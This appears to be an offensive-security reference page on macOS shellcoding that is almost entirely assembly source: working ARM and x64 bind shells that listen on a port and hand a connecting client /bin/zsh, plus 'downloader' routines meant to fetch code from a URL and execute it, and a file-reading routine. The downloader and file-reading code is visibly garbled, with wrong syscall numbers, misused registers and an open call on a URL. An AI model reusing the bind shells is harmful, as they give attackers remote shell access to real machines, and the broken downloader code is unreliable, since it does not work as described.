Exploit // Build and Adapt

macOS Shellcoding

macOS Shellcoding is presented here as a field note for offensive security work. The emphasis is on attack surface, validation logic, common failure patterns, operator choices and the public references worth keeping nearby during a live assessment.

field noteassessment referencepublic sources

Why it matters in practice

macOS Shellcoding matters because it shapes how an operator scopes the work, chooses validation steps, prioritizes evidence and explains risk. The point is not to accumulate trivia; it is to understand which control boundary is in play and how that boundary can fail under realistic pressure.

This note keeps macos shellcoding tied to offensive workflow: what to observe, what to prove, what usually goes wrong, and which references remain useful once an assessment moves from planning into active validation.

Primary coverage

The items below mark the main workflows, concepts, tools and validation themes that repeatedly matter when working through macos shellcoding.

  • Arm (silicon) makefile
  • Arm (silicon) bind shell shellcode
  • Arm (silicon) ftp downloader shellcode
  • Arm (silicon) http downloader shellcode
  • Arm (silicon) reverse shell shellcode
  • Arm (silicon) orw shellcode (open, read, write)
  • X64 makefile
  • X64 bind shell shellcode
  • X64 ftp downloader shellcode
  • X64 http downloader shellcode

Selected public references

build:
	as hello_world.asm -o hello_world.o
	ld hello_world.o -o hello_world -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
.global _main
.align 4

_main:
  mov X0, #2      ; domain = PF_INET
  mov X1, #1      ; type = SOCK_STREAM
  mov X2, XZR     ; protocol = IPPROTO_IP
  mov X16, #97    ; BSD system call 97 for socket
  svc #0xFFF      ; execute system call
  mov X11, X0     ; save socket descriptor

  mov X2, #16               ; address_len = 16 bytes
  mov X4, #0x200            ; sin_len = , sin family = 2
  movk X4, #0xD204, lsl#16  ; sin_port = 1234 = 0x04D2 (big endian fot TCP/IP)
  stp X4, XZR, [SP,#-16]!   ; push sockaddr_in to stack
  mov X1, SP                ; pointer to sockaddr_in structure
  mov X16, #104             ; BSD system call 104 for bind
  svc #0xFFF                ; execute system call

  mov X0, X11               ; restore saved socket descriptor
  mov X1, XZR               ; backlog = null
  mov X16, #106             ; BSD system call 106 for listen
  svc #0xFFF                ; execute system call

  mov X0, X11               ; resture saved socket descriptor
  mov X1, XZR               ; ignore address store
  mov X2, XZR               ; ignore length of address structure
  mov X16, #30              ; BSD system call 30 for accept
  svc #0xFFF                ; execute system call
  mov X12, X0               ; save new socket descriptor

  mov X16, #90              ; BSD system call 90 for dup2
  mov X1, #2                ; file descriptor 2 = STDERR
  svc #0xFFF                ; execute system call
  mov X0, X12               ; restore ned socket descriptor
  mov X1, #1                ; file descriptor 1 = STDOUT
  svc #0xFFF                ; execute system call
  mov X0, X12               ; restore new socket descriptor
  lsr X1, X1, #1            ; file descriptor 0 = STDIN
  svc #0xFFF                ; execute system call

  mov X3, #0x622F           ; move "/bin/zsh" into X3 (little endian in four moves)
  movk X3, #0x6E69, lsl#16
  movk X3, #0x7A2F, lsl#32
  movk X3, #0x6873, lsl#48
  stp X3, XZR, [SP, #-16]! ; push path and terminating 0 to stack
  mov X0, SP               ; save pointer to argv[0]
  stp X0, XZR, [SP,#-16]!  ; push argv[0] and terminating 0 to stack
  mov X1, SP               ; move pointer to argument array into X1
  mov X2, XZR              ; third argument for execve
  mov X16, #59             ; BSD system call 59 for execve
  svc #0xFFF               ; execute system call
.section __TEXT,__text
.global _start

_start:
    ; URL of the file to download
    mov x0, url
    ; Path where the file should be stored
    mov x1, target_path

    ; download the file
    xor x2, x2  ; Null-terminierte Zeichenkette
    mov x16, 0x2000005  ; system call number for open
    svc #0

    ; Create or open file
    mov x0, x0  ; file descriptor
    mov x2, 0x1000  ; buffer size
    mov x1, buffer
    xor x16, x16  ; read file
    svc #0

    ; prepare a memory region for shellcode
    mov x0, sp  ; pointer to the stack
    sub x0, x0, 0x1000  ; Verschieben um 4096 Bytes
    mov x1, buffer
    mov x2, x0  ; length of the shellcode that was read
    mov x16, 0x200004  ; system call number for mmap
    xor x10, x10  ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
    xor x8, x8  ; file descriptor (ignored)
    xor x9, x9  ; offset in file (ignored)
    svc #0

    ; Shellcode in den Speicher kopieren
    mov x0, x0  ; Zieladresse
    mov x1, buffer
    mov x2, x0  ; length of the shellcode
    xor x16, x16  ; read file
    svc #0

    ; execute shellcode
    mov x0, x0  ; Shellcode-Adresse
    xor x16, x16  ; Exit-Code 0
    blr x0

    ; Programm beenden
    mov w0, 0  ; Exit-Code 0
    mov x16, 0x2000001  ; system call number for exit
    svc #0

.section __DATA,__data
url: .asciz "ftp://example.com/your_file.txt"
target_path: .asciz "/path/to/your_file.txt"
buffer: .space 4096
.section __TEXT,__text
.global _start

_start:
    ; URL of the file to download
    ldr x0, =url
    ; Path where the file should be stored
    ldr x1, =target_path

    ; download the file
    xor x2, x2  ; Null-terminierte Zeichenkette
    mov x16, 0x2000005  ; system call number for open
    svc #0

    ; Create or open file
    mov x8, x0  ; file descriptor
    mov x2, 0x1000  ; buffer size
    ldr x1, =buffer
    xor x0, x0  ; read file
    mov x16, 0x2000003  ; system call number for read
    svc #0

    ; prepare a memory region for shellcode
    mov x0, sp  ; pointer to the stack
    sub x0, x0, 0x1000  ; Verschieben um 4096 Bytes
    mov x1, x0  ; Zieladresse
    mov x2, x0  ; size
    mov x3, 0x7  ; PROT_READ | PROT_WRITE | PROT_EXEC
    mov x8, 0x0  ; Flags
    mov x16, 0x200001f  ; system call number for mmap
    svc #0

    ; Shellcode in den Speicher kopieren
    mov x1, x0  ; Zieladresse
    ldr x2, =buffer
    mov x3, x0  ; length of the shellcode
    mov x0, x8  ; read file
    mov x16, 0x2000003  ; system call number for read
    svc #0

    ; execute shellcode
    mov x0, x1  ; Shellcode-Adresse
    blr x0

    ; Programm beenden
    xor x0, x0  ; Exit-Code 0
    mov x16, 0x2000001  ; system call number for exit
    svc #0

.section __DATA,__data
url: .asciz "https://example.com/your_file.txt"
target_path: .asciz "/path/to/your_file.txt"
buffer: .skip 4096
section __TEXT,__text
global _start

_start:
    ; open file
    mov x0, 0  ; system call number for open
    ldr x1, =path_to_file
    eor x2, x2  ; Flags (O_RDONLY)
    mov x16, 0x1000003  ; system call number for open
    svc 0x80

    ; file descriptor in X0 speichern
    mov x0, x0

    ; contents of the file buffer
    mov x0, 1  ; system call number for read
    mov x1, x0  ; file descriptor
    ldr x2, =buffer
    mov x3, 4096  ; maximum length of content to read
    mov x16, 0x1000003  ; system call number for read
    svc 0x80

    ; write the contents to standard output
    mov x0, 1  ; system call number for write
    mov x1, 1  ; file descriptor 1 (standard output)
    ldr x2, =buffer
    mov x3, x0  ; number of bytes read
    mov x16, 0x1000003  ; system call number for write
    svc 0x80

    ; Programm beenden
    mov x0, 0  ; Exit-Code 0
    mov x16, 0x1000001  ; system call number for exit
    svc 0x80

section __DATA,__data
path_to_file: .asciz "/path/to/file.txt"
buffer: .space 4096
build:
	nasm -f macho64 execute_command.asm
	ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem execute_command.o -o execute_command
bits 64
global _main
_main:
  ;socket
  push    0x2
  pop     rdi               ; RDI = AF_INET = 2
  push    0x1
  pop     rsi               ; RSI = SOCK_STREAM = 1
  xor     rdx, rdx          ; RDX = IPPROTO_IP = 0

  ;store syscall number on RAX
  push    0x61              ; put 97 on the stack (socket syscall#)
  pop     rax               ; pop 97 to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall
  mov     r9, rax           ; save socket number

  ; bind
  mov     rdi, r9           ; put saved socket fd value to RDI = socket fd

  ; Begin building the memory structure on the stack
  xor     rsi, rsi          ; RSI = sin_zero[8] = 0x0000000000000000
  push    rsi               ;

  ; next entry on the stack should be 0x00000000 5c11 02 00 = (sin_addr .. sin_len)
  mov     esi, 0x5c110201   ; port sin_port=0x115c, sin_family=0x02, sin_len=0x01
  dec     esi               ; sin_len=0x00
  push    rsi               ; push RSI (=0x000000005c110200) to the stack
  push    rsp
  pop     rsi               ; RSI = RSP = pointer to the structure

  push    0x10
  pop     rdx               ; RDX = 0x10 (length of socket structure)

  ;store syscall number on RAX
  push    0x68              ; put 104 on the stack (bind syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall

  ;listen
  mov     rdi, r9           ; put saved socket fd value to RDI
  xor     rsi, rsi          ; RSI = 0

  ;store syscall number on RAX
  push    0x6a              ; put 106 on the stack (listen syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall

  ;accept
  mov     rdi, r9           ; put saved socket fd value to RDI
  xor     rsi, rsi          ; *address = RSI = 0
  xor     rdx, rdx          ; *address_len = RDX = 0

  ;store syscall number on RAX
  push    0x1e              ; put 30 on the stack (accept syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall
  mov     r10,rax           ; save returned connection file descriptor into R10

  ;dup2
  mov     rdi, r10          ; put the connection file descriptor into RDI
  push    2
  pop     rsi               ; set RSI = 2
  dup2_loop:                ; beginning of our loop
  push    0x5a              ; put 90 on the stack (dup2 syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall
  dec     rsi               ; decrement RSI
  jns     dup2_loop         ; jump back to the beginning of the loop if RSI>=0

  ;execv
  xor     rdx, rdx          ; zero our RDX
  push    rdx               ; push NULL string terminator
  mov     rbx, '/bin/zsh'   ; move our string into RBX
  push    rbx               ; push the string we stored in RBX to the stack
  mov     rdi, rsp          ; store the stack pointer in RDI
  push    rdx               ; argv[1] = 0
  push    rdi               ; argv[0] = /bin/zsh
  mov     rsi, rsp          ; argv    = rsp - store RSP's value in RSI
  push    59                ; put 59 on the stack
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall
section __TEXT,__text
global _start

_start:
    ; URL of the file to download
    mov rdi, url
    ; Path where the file should be stored
    mov rsi, target_path

    ; download the file
    xor rdx, rdx  ; Null-terminierte Zeichenkette
    mov rax, 0x2000005  ; system call number for open
    syscall

    ; Create or open file
    mov rdi, rax  ; file descriptor
    mov rdx, 0x1000  ; buffer size
    mov rsi, buffer
    xor rax, rax  ; read file
    syscall

    ; prepare a memory region for shellcode
    mov rdi, rsp  ; pointer to the stack
    sub rdi, 0x1000  ; Verschieben um 4096 Bytes
    mov rsi, buffer
    mov rdx, rax  ; length of the shellcode that was read
    mov rax, 0x200004  ; system call number for mmap
    xor r10, r10  ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
    xor r8, r8  ; file descriptor (ignored)
    xor r9, r9  ; offset in file (ignored)
    syscall

    ; Shellcode in den Speicher kopieren
    mov rdi, rax  ; Zieladresse
    mov rsi, buffer
    mov rdx, rax  ; length of the shellcode
    xor rax, rax  ; read file
    syscall

    ; execute shellcode
    mov rdi, rax  ; Shellcode-Adresse
    xor rax, rax  ; Exit-Code 0
    call rdi

    ; Programm beenden
    xor edi, edi  ; Exit-Code 0
    mov rax, 0x2000001  ; system call number for exit
    syscall

section __DATA,__data
url: db "ftp://example.com/your_file.txt", 0
target_path: db "/path/to/your_file.txt", 0
buffer: times 4096 db 0

Selected public references